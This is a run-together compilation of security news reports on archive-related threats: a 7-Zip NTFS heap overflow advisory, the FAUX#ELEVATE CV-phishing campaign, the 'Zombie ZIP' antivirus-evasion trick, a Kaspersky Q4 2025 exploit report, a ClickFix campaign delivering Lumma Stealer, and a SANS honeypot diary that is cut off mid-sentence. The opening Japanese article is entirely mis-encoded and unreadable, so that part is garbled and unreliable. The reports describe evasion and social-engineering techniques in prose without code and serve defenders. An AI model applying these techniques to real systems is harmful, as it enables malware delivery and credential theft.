GitHub Security Lab�́A7-Zip 26.00�Ƀq�[�v�o�b�t�@�[�I�[�o�[�t���[�Ǝ㐫�uCVE-2026-48095�v�����݂���ƌ��\�����BNTFS�����̕s���ȃV�t�g���Z��1�o�C�g�̈�֍ő�256MB���������݁A�C�ӃR�[�h���s��N���b�V�����������ꂪ����B ���̋L���͉������ł��B����o�^�i�����j����ƑS�Ă������������܂��B �@GitHub Security Lab��2026�N5��22���i�č����ԁA�ȉ����j�A�u7-Zip 26.00�v�Ƀq�[�v�o�b�t�@�[�I�[�o�[�t���[�Ǝ�i�������Ⴍ�j���uGHSL-2026-140�v�����݂���ƌ��\�����B �@���Ǝ㐫�ɂ́uCVE-2026-48095�v�����蓖�Ă��Ă���A�H���ꂽNTFS�C���[�W���J�����ꍇ�A�C�ӃR�[�h���s��A�v���P�[�V�����N���b�V���ɔ��W����\��������BGitHub Security Lab��2026�N4��24���ɂ������A7-Zip���͓��N4��27���ɏC���łƂȂ�v26.01�����J�����B �@����̖���7-Zip��NTFS�A�[�J�C�u�����ɑ��݂���B�Ǝ㐫�́ANTFS���k�X�g���[���p�o�b�t�@�[�T�C�Y���v�Z����uCInStream::GetCuSize�i�j�v�̏����ɋN������B�ΏۃR�[�h�ł́u�iUInt32�j1 = 28�v�ƁuCompressionUnit == 4�v��ݒ肵���ꍇ�A�V�t�g�ʂ�32�ɒB����BC++�ł͌^���ȏ�̃V�t�g����������ƂȂ邽�߁Ax86��x64���ł�1�o�C�g�̗̈悵���m�ۂ���Ȃ��P�[�X���m�F���ꂽ�B �@���̌�̏����ɂ����āA���k�f�[�^��ǂݍ��ށuReadStream_FALSE�v���ő�256MB�̍U���Ґ���f�[�^���������ށB���ʂƂ��āA�ɒ[�ɏ������q�[�v�̈�ɑ�ʂ̃f�[�^���������A�q�[�v�o�b�t�@�[�I�[�o�[�t���[����������BGitHub Security Lab�́A���̋�����vtable hijack�i���z���e�[�u��������j�Ƃ����U����@�ɂȂ���\�����w�E�����B�f�o�b�K�[��͂ɂ����āA�X�g���[���I�u�W�F�N�g���q�[�v��ŃI�[�o�[�t���[�Ώۂ̋ߖT�ɔz�u����Ă���A�ŏ��̏������݂�����vtable�|�C���^�[����������������m�F���ꂽ�Ƃ����B �@NTFS�u�[�g�Z�N�^�p�[�T�[�ɂ����āA�N���X�^�T�C�Y�Ƃ��čő�2��30��o�C�g�܂Ŏ����d�l�ɂȂ��Ă���B���k�����w�b�_���́uCompressionUnit == 4�v��������Ă����B�Ǝ㐫��U����������́A���̑g�ݍ��킹�Ő�������B �@���Ǝ㐫�́A32bit�ł�64bit�ł̑o�����e������B32bit���ɂ����āA���͗p�o�b�t�@�[�Əo�͗p�o�b�t�@�[�̑o�����ɒ[�ɏ������T�C�Y�Ŋm�ۂ���邽�߁A�I�[�o�[�t���[�ɒ�������B64bit���ɂ����āA�o�͗p�o�b�t�@�[�m�ێ���8GB��v������B�������e�ʂ��\���ȃV�X�e���ł͊��蓖�Ă��������A���̌�ɓ��l�̃I�[�o�[�t���[����������B�������s�����ł͊��蓖�Ď��s�ɂ����DoS�iDenial of Service�j�ɂƂǂ܂�\��������B �@GitHub Security Lab�ɂ��ANTFS�n���h���[�͕W���́u7z.dll�v�Ɋ܂܂�Ă���A�u.ntfs�v��u.img�v�g���q�ɑΉ�����B�������A7-Zip�͊g���q����Ɏ��s�����ꍇ�A�����x�[�X�̌��o�Ƀt�H�[���o�b�N����d�l�������BNTFS�n���h���[�̓I�t�Z�b�g3�o�C�g�ڂ́uNTFS �v�V�O�l������Q�Ƃ��邽�߁A�u.7z�v�u.zip�v�u.rar�v�ȂǕʌ���̊g���q��t�^�����t�@�C���ł�NTFS�C���[�W�Ƃ��ĔF�������\��������BGitHub Security Lab�́A�U���Ώۂ�NTFS�֘A�g���q�Ɍ��肳��Ȃ��_���莋�����B �@�Ǝ㐫�́A�H���ꂽ�C���[�W���Ɋ܂܂�鈳�k�t�@�C���̓W�J��e�X�g���ɔ�������B���[�U�[����͈��ӂ���C���[�W���J�����x�Ő�������Ɛ������Ă���BCVSS v3.1��{�l�́u8.8�v�ŁA�[���x�́uHigh�v�ƕ]�����ꂽ�B �@�e���͈͂ɂ���GitHub Security Lab�́ANTFS���k�X�g���[���������������ꂽ���_�ȍ~�̑S�o�[�W�������Ώۂł���A26.00�܂ʼne������Ɛ��������B�Ǝ㐫���ނł́uCWE-787: Out-of-bounds Write�v�ƁuCWE-190: Integer Overflow or Wraparound�v�������Ă���B �@���J�����ɂ́A�Ǝ㐫���ؗpPoC�i�T�O���j�����R�[�h���܂܂��BPoC�ɂ����āA�N���X�^�T�C�Y��256MB�ɐݒ肵��NTFS�C���[�W�����Ƃō\�z���A���k������MFT���R�[�h���ׂ����������Ė����Č�����B����NTFS�t�H�[�}�b�g�c�[����64KB���̃N���X�^�T�C�Y�ɑΉ����Ă��Ȃ����߁AMFT�\����USN fixup arrays�A�������R�[�h���ʂɐ��������Ƃ����B �@���ł́uUBSAN�v�iUndefined Behaviour Sanitiser�j�𗘗p���A�ushift exponent 32 is too large for 32-bit type�v�Ƃ�����������x�����m�F�����B���̌�A�����ȁuvptr�v�����I�u�W�F�N�g�Ƀ����o�[�Ăяo�����������ASEGV�iSegmentation Violation�j�Ɏ��闬����ϑ����ꂽ�B Copyright © ITmedia, Inc. All Rights Reserved.

An ongoing phishing campaign is targeting French-speaking corporate environments with fake resumes that lead to the deployment of cryptocurrency miners and information stealers. "The campaign uses highly obfuscated VBScript files disguised as resume/CV documents, delivered through phishing emails," Securonix researchers Shikha Sangwan, Akshay Gaikwad, and Aaron Beardslee said in a report shared with The Hacker News. "Once executed, the malware deploys a multi-purpose toolkit that combines credential theft, data exfiltration, and Monero cryptocurrency mining for maximum monetization." The activity has been codenamed FAUX#ELEVATE by the cybersecurity company. The campaign is noteworthy for the abuse of legitimate services and infrastructure, such as Dropbox for staging payloads, Moroccan WordPress sites for hosting command-and-control (C2) configuration, and mail[.]ru SMTP infrastructure for exfiltrating stolen browser credentials and desktop files. This is an example of a living-off-the-land-style attack that raises the bar on how attackers can trick defense mechanisms and sneak their way into the target's system without attracting much attention. The initial dropper file is a Visual Basic Script (VBScript) that, upon opening, displays a bogus French-language error message, fooling message recipients into thinking that the file is corrupted. However, what happens behind the scenes is that the heavily obfuscated script runs a series of checks to evade sandboxes and enters into a persistent User Account Control (UAC) loop that prompts users to run it with administrator privileges. Notably, out of the script's 224,471 lines, only 266 lines contain actual executable code. The rest of the script is filled with junk comments featuring random English sentences, inflating the size of the file to 9.7MB. "The malware also uses a domain-join gate using WMI [Windows Management Instrumentation], ensuring that payloads are only delivered on enterprise machines, and standalone home systems are excluded entirely," the researchers said. As soon as the dropper obtains administrative privileges, it wastes no time disabling security controls and covering up its tracks by configuring Microsoft Defender exclusion paths for all primary drive letters (from C to I), disabling UAC via a Windows Registry change, and deleting itself. The dropper is also responsible for fetching two separate password-protected 7-Zip archives hosted on Dropbox - gmail2.7z, which contains various executables to steal data and mine cryptocurrency gmail_ma.7z, which contains utilities for persistence and cleanup Among the tools used to facilitate credential theft is a component that leverages the ChromElevator project to extract sensitive data from Chromium-based browsers by getting around app-bound encryption (ABE) protections. Some of the other tools include - mozilla.vbs, a VBScript malware for stealing Mozilla Firefox profile and credentials walls.vbs, a VBScript payload for desktop file exfiltration mservice.exe, an XMRig cryptocurrency miner that's launched after retrieving the mining configuration from a compromised Moroccan WordPress site WinRing0x64.sys, a legitimate Windows kernel driver that's used to unlock the CPU's full mining potential RuntimeHost.exe, a persistent Trojan component that modifies Windows Firewall rules and periodically communicates with a C2 server The sole browser data is exfiltrated using two separate mail[.]ru sender accounts ("[email protected]" and "[email protected]") that share the same password over SMTP to another email address operated by the threat actor ("[email protected]"). Once credential theft and exfiltration activities are complete, the attack chain initiates an aggressive cleanup of all dropped tools in a bid to minimize forensic footprint, leaving behind only the miner and trojan artifacts./p> "The FAUX#ELEVATE campaign demonstrates a well-organized, multi-stage attack operation that combines several noteworthy techniques into a single infection chain," Securonix said. "What makes this campaign particularly dangerous for enterprise security teams is the speed of execution, the full infection chain completes in approximately 25 seconds from initial VBS execution to credential exfiltration, and the selective targeting of domain-joined machines, which ensures that every compromised host provides maximum value through corporate credential theft and persistent resource hijacking."

A researcher published “Zombie ZIP,” a simple way to change the first part (header) of a ZIP file so it falsely claims its contents are uncompressed while they are actually compressed. Many antivirus products trust that header and never properly decompress or inspect the real payload. In tests conducted about a week after disclosure, around 60 of 63 common antivirus suites failed to detect malware hidden this way—roughly 95% of engines let it pass. Zombie ZIP is essentially a method to create a malformed ZIP file that can bypass detection by most antivirus scanners. The technique has a major caveat, though. The malformed ZIP file requires a custom loader to open it correctly. Any normal archive utility like the built-in Windows extractor, 7-zip, WinRAR, and others will also flag the file as malformed. The vulnerability is tracked as CVE-2026-0866, although several cybersecurity researchers dispute whether it should be categorized as a vulnerability or assigned a CVE at all. The fact that it requires a custom loader makes it almost impossible for this method to infect a system that is not already compromised. It still allows anti-malware solutions to detect both the custom loader and any known malware once the payload is properly decompressed. In other words, the bypass only affects the initial inspection of the ZIP file, not the actual execution of already known malware. Malwarebytes/ThreatDown products detected both files, by the way. Technical details On their GitHub page (currently blocked by Malwarebytes Browser Guard due to a risky pattern), the researchers explain how the Zombie ZIP method works. By changing the file’s compressiontype to 0 (STORED), tools trying to read the archive assume the file’s contents are simply stored inside the ZIP file and not compressed. “AV engines trust the ZIP Method field. When Method=0 (STORED), they scan the data as raw uncompressed bytes. But the data is actually DEFLATE compressed — so the scanner sees compressed noise and finds no signatures. The CRC is set to the uncompressed payload’s checksum, creating an additional mismatch that causes standard extraction tools (7-Zip, unzip, WinRAR) to report errors or extract corrupted output. However, a purpose-built loader that ignores the declared method and decompresses as DEFLATE recovers the payload perfectly. The vulnerability is scanner evasion: security controls assert ‘no malware present’ while malware is present and trivially recoverable by attacker tooling.” Security researcher Didier Stevens published a method to safely examine the content of a malformed Zombie ZIP file. One way to spot the manipulation is by comparing the ZIP header fields compressedsize and uncompressedsize. If they are different, that means the ZIP file is not actually STORED, but compressed. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Update: Article updated with comments from security researchers who believe this should not be considered a vulnerability. Update 2: CERT has retracted its bulletin and MITRE has rejected the CVE on the justification that it does not constitute a vulnerability. A new technique dubbed “Zombie ZIP” helps conceal payloads in compressed files specially created to avoid detection from security solutions such as antivirus and endpoint detection and response (EDR) products. Trying to extract the files with standard utilities like WinRAR or 7-Zip results in errors or corrupted data. The technique works by manipulating ZIP headers to trick parsing engines into treating compressed data as uncompressed. Instead of flagging the archive as potentially dangerous, security tools trust the header and scan the file as if it were a copy of the original in a ZIP container. The “Zombie ZIP” technique was devised by Bombadil Systems security researcher Chris Aziz, who found that it works against 50 of the 51 AV engines on VirusTotal. "AV engines trust the ZIP Method field. When Method=0 (STORED), they scan the data as raw uncompressed bytes. But the data is actually DEFLATE compressed - so the scanner sees compressed noise and finds no signatures," the researcher explains. A threat actor can create a loader that ignores the header and treats the archive for what it is: data compressed using the standard Deflate algorithm used in modern ZIP files. The researcher has published a proof-of-concept (PoC) on GitHub, sharing sample archives and additional details on how the method works. To cause popular extraction tools (e.g., 7-Zip, unzip, WinRAR) to generate an error, the researcher says that the CRC value that ensures data integrity has to be set to the uncompressed payload's checksum. “However, a purpose-built loader that ignores the declared method and decompresses as DEFLATE recovers the payload perfectly,” Aziz says. Yesterday, the CERT Coordination Center (CERT/CC) published a bulletin to warn about “Zombie ZIP” and raise awareness of the risks posed by malformed archive files. While a malformed header may trick security solutions, the agency says that some extraction tools are still able to correctly decompress the ZIP archive. The CVE-2026-0866 identifier has been assigned for the security issue, which the agency says is similar to a vulnerability disclosed more than two decades ago, CVE-2004-0935, affecting an early version of the ESET antivirus product. CERT/CC proposes that security tool vendors must validate compression method fields against actual data, add mechanisms to detect inconsistencies in archive structure, and implement more aggressive archive inspection modes. Users should treat archive files with caution, especially those from unknown contacts, and delete them immediately if their attempts to decompress them end with an “unsupported method” error. Researchers dispute the vulnerability Multiple cybersecurity researchers have contacted BleepingComputer to say they do not believe this method should be categorized as a vulnerability or have received a CVE. They argue that while it is a valid method to distribute malware, it also corrupts the file outside of its normal file structure, making it not possible for ZIP extraction tools and antivirus to properly extract the files and scan them for malware. "What makes CVE-2026-0866 not real is that ZIP files modified in this new way are NOT openable on the target system. As such, not a vulnerability," a researcher who asked to remain anonymous told BleepingComputer. Furthermore, as it requires a custom loader to be run on a device to extract the files, that device is already compromised. "I don't quite understand why this is a CVE if standard unarchivers fail to unpack these ZIPs," questioned GData researcher Karsten Hahn. "If you corrupt or encrypt any file and need to deploy a custom loader to extract it you have same result." Update 3/12/26: Added feedback from other cybersecurity researchers. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The fourth quarter of 2025 went down as one of the most intense periods on record for high-profile, critical vulnerability disclosures, hitting popular libraries and mainstream applications. Several of these vulnerabilities were picked up by attackers and exploited in the wild almost immediately. In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged with popular C2 frameworks throughout Q4 2025. Statistics on registered vulnerabilities This section contains statistics on registered vulnerabilities. The data is taken from cve.org. Let’s take a look at the number of registered CVEs for each month over the last five years, up to and including the end of 2025. As predicted in our last report, Q4 saw a higher number of registered vulnerabilities than the same period in 2024, and the year-end totals also cleared the bar set the previous year. Total published vulnerabilities by month from 2021 through 2025 (download) Now, let’s look at the number of new critical vulnerabilities (CVSS > 8.9) for that same period. Total number of published critical vulnerabilities by month from 2021 to 2025< (download) The graph shows that the volume of critical vulnerabilities remains quite substantial; however, in the second half of the year, we saw those numbers dip back down to levels seen in 2023. This was due to vulnerability churn: a handful of published security issues were revoked. The widespread adoption of secure development practices and the move toward safer languages also pushed those numbers down, though even that couldn’t stop the overall flood of vulnerabilities. Exploitation statistics This section contains statistics on the use of exploits in Q4 2025. The data is based on open sources and our telemetry. Windows and Linux vulnerability exploitation In Q4 2025, the most prevalent exploits targeted the exact same vulnerabilities that dominated the threat landscape throughout the rest of the year. These were exploits targeting Microsoft Office products with unpatched security flaws. Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities: CVE-2018-0802: a remote code execution vulnerability in Equation Editor. CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor. CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system. The list has remained unchanged for years. We also see that attackers continue to adapt exploits for directory traversal vulnerabilities (CWE-35) when unpacking archives in WinRAR. They are being heavily leveraged to gain initial access via malicious archives on the Windows operating system: CVE-2023-38831: a vulnerability stemming from the improper handling of objects within an archive. CVE-2025-6218 (formerly ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. This can lead to arbitrary code execution. We covered this vulnerability in detail in our Q2 2025 report. CVE-2025-8088: a vulnerability we analyzed in our previous report, analogous to CVE-2025-6218. The attackers used NTFS streams to circumvent controls on the directory into which files were being unpacked. As in the previous quarter, we see a rise in the use of archiver exploits, with fresh vulnerabilities increasingly appearing in attacks. Below are the exploit detection trends for Windows users over the last two years. Dynamics of the number of Windows users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download) The vulnerabilities listed here can be used to gain initial access to a vulnerable system. This highlights the critical importance of timely security updates for all affected software. On Linux-based devices, the most frequently detected exploits targeted the following vulnerabilities: CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications. CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation. CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. CVE-2023-32233: another vulnerability in the Netfilter subsystem that creates a use-after-free condition, allowing for privilege escalation due to the improper handling of network requests. Dynamics of the number of Linux users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download) We are seeing a massive surge in Linux-based exploit attempts: in Q4, the number of affected users doubled compared to Q3. Our statistics show that the final quarter of the year accounted for more than half of all Linux exploit attacks recorded for the entire year. This surge is primarily driven by the rapidly growing number of Linux-based consumer devices. This trend naturally attracts the attention of threat actors, making the installation of security patches critically important. Most common published exploits The distribution of published exploits by software type in Q4 2025 largely mirrors the patterns observed in the previous quarter. The majority of exploits we investigate through our monitoring of public research, news, and PoCs continue to target vulnerabilities within operating systems. Distribution of published exploits by platform, Q1 2025 (download) Distribution of published exploits by platform, Q2 2025 (download) Distribution of published exploits by platform, Q3 2025 (download) Distribution of published exploits by platform, Q4 2025 (download) In Q4 2025, no public exploits for Microsoft Office products emerged; the bulk of the vulnerabilities were issues discovered in system components. When calculating our statistics, we placed these in the OS category. Vulnerability exploitation in APT attacks We analyzed which vulnerabilities were utilized in APT attacks during Q4 2025. The following rankings draw on our telemetry, research, and open-source data. TOP 10 vulnerabilities exploited in APT attacks, Q4 2025 (download) In Q4 2025, APT attacks most frequently exploited fresh vulnerabilities published within the last six months. We believe that these CVEs will remain favorites among attackers for a long time, as fixing them may require significant structural changes to the vulnerable applications or the user’s system. Often, replacing or updating the affected components requires a significant amount of resources. Consequently, the probability of an attack through such vulnerabilities may persist. Some of these new vulnerabilities are likely to become frequent tools for lateral movement within user infrastructure, as the corresponding security flaws have been discovered in network services that are accessible without authentication. This heavy exploitation of very recently registered vulnerabilities highlights the ability of threat actors to rapidly implement new techniques and adapt old ones for their attacks. Therefore, we strongly recommend applying the security patches provided by vendors. C2 frameworks In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks. The chart below shows the frequency of known C2 framework usage in attacks against users during Q4 2025, according to open sources. TOP 10 C2 frameworks used by APTs to compromise user systems in Q4 2025 (download) Despite the significant footprints it can leave when used in its default configuration, Sliver continues to hold the top spot among the most common C2 frameworks in our Q4 2025 analysis. Mythic and Havoc were second and third, respectively. After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above: CVE-2025-55182: a React2Shell vulnerability in React Server Components that allows an unauthenticated user to send commands directly to the server and execute them from RAM. CVE-2023-36884: a vulnerability in the Windows Search component that allows the execution of commands on a system, bypassing security mechanisms built into Microsoft Office applications. CVE-2025-53770: a critical insecure deserialization vulnerability in Microsoft SharePoint that allows an unauthenticated user to execute commands on the server. CVE-2020-1472, also known as Zerologon, allows for compromising a vulnerable domain controller and executing commands as a privileged user. CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, enabling remote access to a vulnerable OS and high-privilege command execution. CVE-2025-8088 and CVE-2025-6218 are similar directory-traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The set of vulnerabilities described above suggests that attackers have been using them for initial access and early-stage maneuvers in vulnerable systems to create a springboard for deploying a C2 agent. The list of vulnerabilities includes both zero-days and well-known, established security issues. Notable vulnerabilities This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q4 2025 and have a publicly available description. React2Shell (CVE-2025-55182): a vulnerability in React Server Components We typically describe vulnerabilities affecting a specific application. CVE-2025-55182 stood out as an exception, as it was discovered in React, a library primarily used for building web applications. This means that exploiting the vulnerability could potentially disrupt a vast number of applications that rely on the library. The vulnerability itself lies in the interaction mechanism between the client and server components, which is built on sending serialized objects. If an attacker sends serialized data containing malicious functionality, they can execute JavaScript commands directly on the server, bypassing all client-side request validation. Technical details about this vulnerability and an example of how Kaspersky solutions detect it can be found in our article. CVE-2025-54100: command injection during the execution of curl (Invoke-WebRequest) This vulnerability represents a data-handling flaw that occurs when retrieving information from a remote server: when executing the curl or Invoke-WebRequest command, Windows launches Internet Explorer in the background. This can lead to a cross-site scripting (XSS) attack. CVE-2025-11001: a vulnerability in 7-Zip This vulnerability reinforces the trend of exploiting security flaws found in file archivers. The core of CVE-2025-11001 lies in the incorrect handling of symbolic links. An attacker can craft an archive so that when it is extracted into an arbitrary directory, its contents end up in the location pointed to by a symbolic link. The likelihood of exploiting this vulnerability is significantly reduced because utilizing such functionality requires the user opening the archive to possess system administrator privileges. This vulnerability was associated with a wave of misleading news reports claiming it was being used in real-world attacks against end users. This misconception stemmed from an error in the security bulletin. RediShell (CVE-2025-49844): a vulnerability in Redis The year 2025 saw a surge in high-profile vulnerabilities, several of which were significant enough to earn a unique nickname. This was the case with CVE-2025-49844, also known as RediShell, which was unveiled during a hacking competition. This vulnerability is a use-after-free issue related to how the load command functions within Lua interpreter scripts. To execute the attack, an attacker needs to prepare a malicious script and load it into the interpreter. As with any named vulnerability, RediShell was immediately weaponized by threat actors and spammers, albeit in a somewhat unconventional manner. Because technical details were initially scarce following its disclosure, the internet was flooded with fake PoC exploits and scanners claiming to test for the vulnerability. In the best-case scenario, these tools were non-functional; in the worst, they infected the system. Notably, these fraudulent projects were frequently generated using LLMs. They followed a standardized template and often cross-referenced source code from other identical fake repositories. CVE-2025-24990: a vulnerability in the ltmdm64.sys driver Driver vulnerabilities are often discovered in legitimate third-party applications that have been part of the official OS distribution for a long time. Thus, CVE-2025-24990 has existed within code shipped by Microsoft throughout nearly the entire history of Windows. The vulnerable driver has been shipped since at least Windows 7 as a third-party driver for Agere Modem. According to Microsoft, this driver is no longer supported and, following the discovery of the flaw, was removed from the OS distribution entirely. The vulnerability itself is straightforward: insecure handling of IOCTL codes leading to a null pointer dereference. Successful exploitation can lead to arbitrary command execution or a system crash resulting in a blue screen of death (BSOD) on modern systems. CVE-2025-59287: a vulnerability in Windows Server Update Services (WSUS) CVE-2025-59287 represents a textbook case of insecure deserialization. Exploitation is possible without any form of authentication; due to its ease of use, this vulnerability rapidly gained traction among threat actors. Technical details and detection methodologies for our product suite have been covered in our previous advisories. Conclusion and advice In Q4 2025, the rate of vulnerability registration has shown no signs of slowing down. Consequently, consistent monitoring and the timely application of security patches have become more critical than ever. To ensure resilient defense, it is vital to regularly assess and remediate known vulnerabilities while implementing technology designed to mitigate the impact of potential exploits. Continuous monitoring of infrastructure, including the network perimeter, allows for the timely identification of threats and prevents them from escalating. Effective security also demands tracking the current threat landscape and applying preventative measures to minimize risks associated with system flaws. Kaspersky Next serves as a reliable partner in this process, providing real-time identification and detailed mapping of vulnerabilities within the environment. Securing the workplace remains a top priority. Protecting corporate devices requires the adoption of solutions capable of blocking malware and preventing it from spreading. Beyond basic measures, organizations should implement adaptive systems that allow for the rapid deployment of security updates and the automation of patch management workflows.

Microsoft on Thursday disclosed details of a new widespread ClickFix social engineering campaign that has leveraged the Windows Terminal app as a way to activate a sophisticated attack chain and deploy the Lumma Stealer malware. The activity, observed in February 2026, makes use of the terminal emulator program instead of instructing users to launch the Windows Run dialog and paste a command into it. "This campaign instructs targets to use the Windows + X → I shortcut to launch Windows Terminal (wt.exe) directly, guiding users into a privileged command execution environment that blends into legitimate administrative workflows and appears more trustworthy to users," the Microsoft Threat Intelligence team said in a series of posts on X. What makes the latest variant notable is that it bypasses detections specifically designed to flag Run dialog abuse, not to mention take advantage of the legitimacy of Windows Terminal to trick unsuspecting users into running malicious commands delivered via bogus CAPTCHA pages, troubleshooting prompts, or other verification-style lures. The post-compromise attack chain is also unique: when the user pastes a hex-encoded, XOR-compressed command copied from the ClickFix lure page into a Windows Terminal session, it spans additional Terminal/PowerShell instances to ultimately invoke a PowerShell process responsible for decoding the script. This, in turn, leads to the download of a ZIP payload and a legitimate but renamed 7-Zip binary, the latter of which is saved to disk with a randomized file name. The utility then proceeds to extract the contents of the ZIP file, triggering a multi-stage attack chain that involves the following steps - Retrieving more payloads Setting up persistence via scheduled tasks Configuring Microsoft Defender exclusions Exfiltrating machine and network data Deploying Lumma Stealer using a technique called QueueUserAPC() by injecting the malware into "chrome.exe" and "msedge.exe" processes "The stealer targets high-value browser artifacts, including Web Data and Login Data, harvesting stored credentials and exfiltrating them to attacker-controlled infrastructure," Microsoft said. The Windows maker said it also detected a second attack pathway, as part of which, when the compressed command is pasted into Windows Terminal, it downloads a randomly named batch script to the "AppData\Local" folder by means of "cmd.exe" in order to write a Visual Basic Script to the Temp folder (aka %TEMP%). "The batch script is then executed via cmd.exe with the /launched command-line argument. The same batch script is then executed through MSBuild.exe, resulting in LOLBin abuse," it added. "The script connects to Crypto Blockchain RPC endpoints, indicating an etherhiding technique. It also performs QueueUserAPC()-based code injection into chrome.exe and msedge.exe processes to harvest Web Data and Login Data."

by Joseph Gruen, SANS.edu BACS Student (Version: 1) [This is a Guest Diary by Joseph Gruen, an ISC intern as part of the SANS.edu BACS program] The internet is under constant, automated siege. Every publicly reachable IP address is probed continuously by bots and scanners hunting for anything that can be exploited or retrieved. It’s not because there is a specific target, but simply because that target exists. This type of behavior, known as opportunistic scanning, is one of the most prevalent and persistent threats facing internet-connected systems today. The opportunistic threat actor fires a series of large-scale automated probes at the entire internet and collects whatever responds. They are not after one person specifically; they are after anyone who left a door unlocked. This is the opposite of a targeted intrusion, where an adversary researches specific organizations, crafts custom tools, and maintains access while working quietly in the background. This distinction matters enormously for defenders as a targeted attacker will adapt and persist when blocked, while an opportunistic scanner will simply move on to the next IP on its list. To understand how these automated actors operate, what they look for, how they find it, and what they do when they find it is to understand one of the most fundamental realities of modern internet exposure. On January 31, 2026, my DShield web honeypot recorded a short-lived surge in HTTP traffic behavior. This spike stood out from the normal day-to-day patterns reviewed for the month of January 2026. A single automated scanner generated nearly 1,000 requests in a 10-second window, systematically probing for sensitive files that are commonly left exposed by misconfigured or careless web server administrators. A mix of file enumeration and classic opportunistic vulnerability probes was recorded. The Kibana time picker was utilized, narrowed, and set to January 31, 2026, at 06:01:30 to January 31, 2026, 06:01:40. 101.53.149.128 generated approximately 962 events (~52.91%) by itself which happened during that 10-second window. The top source (101.53.149.128) behaved like a broad-spectrum web scanner running a word list focused on accidentally exposed artifacts (compressed backups, database dumps, deploy bundles). Instead of flooding one URL repeatedly, it was testing hundreds of unique filenames once each. Frequently requested file extensions included .gz (255) - file is a compressed archive file created by the GNU zip (gzip) algorithm .tgz (170) – file is a compressed archive file, commonly known as a "tarball," used primarily in Unix/Linux systems to bundle multiple files and directories into one file and compress them using gzip A large set tied at 85 each: .bak, .bz2, .sql, zip, .7z, .rar, .war, .jar. .bak - file is a common file extension used for backup copies of data, often created automatically by software .bz2 - file is a single file compressed using the open-source bzip2 algorithm. Common in Unix/Linux, it offers high compression ratios, similar to .gz but usually slower with higher memory usage. These files are used for data compression and archiving. .sql - file is a plain text file that contains code written in Structured Query Language (SQL). This code is used to manage and interact with relational databases, including creating or modifying database structures and manipulating data (inserting, deleting, extracting, or updating information). .zip - file is an archive file format that combines multiple files into a single, compressed folder, reducing total file size for faster sharing and storage. It is widely used for organizing data and, in many cases, is supported natively by Windows and macOS without additional software. .7z - file is a highly compressed archive format associated with the open-source 7-Zip software, designed for superior compression ratios using LZMA/LZMA2 methods, strong AES-256 encryption, and support for massive file sizes (up to 16,000 million terabytes). It is commonly used to group multiple files into a single, smaller package. .rar - file (Roshal Archive) is a proprietary, high-compression archive format used to bundle, compress, and encrypt multiple files into one container. .war - (Web ARchive) file is a packaged file format used in Java EE (now Jakarta EE) for distributing a complete web application. It is essentially a standard ZIP file with a .war extension and a specific, standardized directory structure. .jar - JAR (Java ARchive) file is a platform-independent file format used to aggregate many Java class files, associated metadata (in a MANIFEST.MF file), and resources (like images or sounds) into a single, compressed file for efficient distribution and deployment. The format is based on the popular ZIP file format. The above file extensions are all types of compression files, excluding the backup .bak, and .sql. Both URLs share an almost identical reporting history. Each was first observed in the DShield sensor network on January 31, 2024, exactly 2 years before the 2026 campaign, with a single isolated report. A second isolated sighting for both occurred on June 16, 2024. After these sporadic early sightings, both URLs went completely dark across the entire sensor network from late 2024 through all of 2025, a stillness stretching over a year is a clear visible flat baseline on the ISC activity chart. Then, beginning January 29, 2026, both URLs reappeared simultaneously across multiple sensors. The reporting pattern over those three days was identical for both URLs: 1 report on January 29, a peak of 6 reports on January 30, and 1 report on January 31, the date this sensor captured the activity. This synchronized, multi-day pattern across both URLs is the signature of a single coordinated scanning campaign sweeping across the internet. The January 30 peak of 6 reports means that at least 6 independent DShield sensors worldwide were struck by this campaign the day before this sensor was hit. The January 31 capture represents the trailing edge of this wave, which has been building for three days across a network of honeypots. This corroboration is critical, as it confirms that what this sensor recorded was not a localized or random event, but part of a deliberately coordinated campaign that the multiple defenders around the world were observing simultaneously. The fact that these URLs first appeared over two years earlier, in January 2024 and June 2024, indicates that this wordlist is not brand new. It has existed in some form for at least two years. However, the complete absence of reports throughout all of 2025 followed by a sudden concentrated burst in late January 2026 suggests the actor either went dormant and resumed, updated their infrastructure, or began deploying this wordlist at a significantly larger scale at the start of 2026. The January 2026 campaign represents the most sustained and globally distributed use of these URLs ever recorded in the ISC dataset. The observed traffic spike captured by this DShield web honeypot on January 31, 2026, illustrates how quickly and efficiently automated opportunistic scanners can probe exposed web services for sensitive files. A single actor operating from 101.53.149.128 executed a rapid, wordlist-driven file enumeration campaign targeting year-based compressed archives and a broad set of sensitive file extensions, all via HTTP on port 80, with no SSH probing, no authentication attempts, and no multi-vector behavior of any kind. The honeypot telemetry provides valuable insight into these behaviors and reinforces the importance of secure configuration and continuous monitoring of Internet-facing services. The retrospective DShield SIEM analysis confirmed the actor was narrowly focused. A dedicated web artifact harvester, not a general-purpose scanner. The ISC URL history data placed this local observation into global context, revealing a coordinated 3-day campaign that struck at least 6 independent honeypots worldwide on January 30, before reaching this sensor on January 31, the trailing edge of a wave the global DShield community was observing in real time. The uniqueness of these URL patterns is the ISC dataset, combined with the structured sophistication of the wordlist and the precision of the actor’s web only behavior, suggests this represents either a newly scaled 